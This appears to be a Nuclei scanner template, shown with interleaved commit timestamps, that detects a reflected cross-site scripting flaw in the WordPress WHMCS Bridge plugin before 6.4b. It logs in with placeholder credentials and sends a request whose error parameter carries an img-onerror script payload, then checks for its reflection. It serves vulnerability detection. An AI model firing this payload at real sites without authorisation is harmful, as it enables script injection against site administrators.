2022-02-19 11:08:30 +00:00
id : wp-whmcs-xss
info :
name : WHMCS Bridge < 6.4b - Reflected Cross-Site Scripting (XSS)
author : dhiyaneshDk
severity : medium
description : The plugin does not sanitise and escape the error parameter before outputting it back in admin dashboard, leading to a Reflected Cross-Site Scripting
2022-04-22 10:38:41 +00:00
reference :
- https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c
2022-02-22 14:23:43 +00:00
tags : wordpress,wp-plugin,authenticated,whmcs,xss
2022-02-19 11:08:30 +00:00
requests :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
2022-02-22 08:07:05 +00:00
GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
2022-02-19 11:08:30 +00:00
Host : {{Hostname}}
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-02-22 08:07:05 +00:00
- "<strong><img src onerror=alert(document.domain)></strong>"
2022-02-19 11:08:30 +00:00
condition : and
2022-02-22 08:07:05 +00:00
- type : word
part : header
words :
- text/html
2022-02-19 11:08:30 +00:00
- type : status
status :
- 200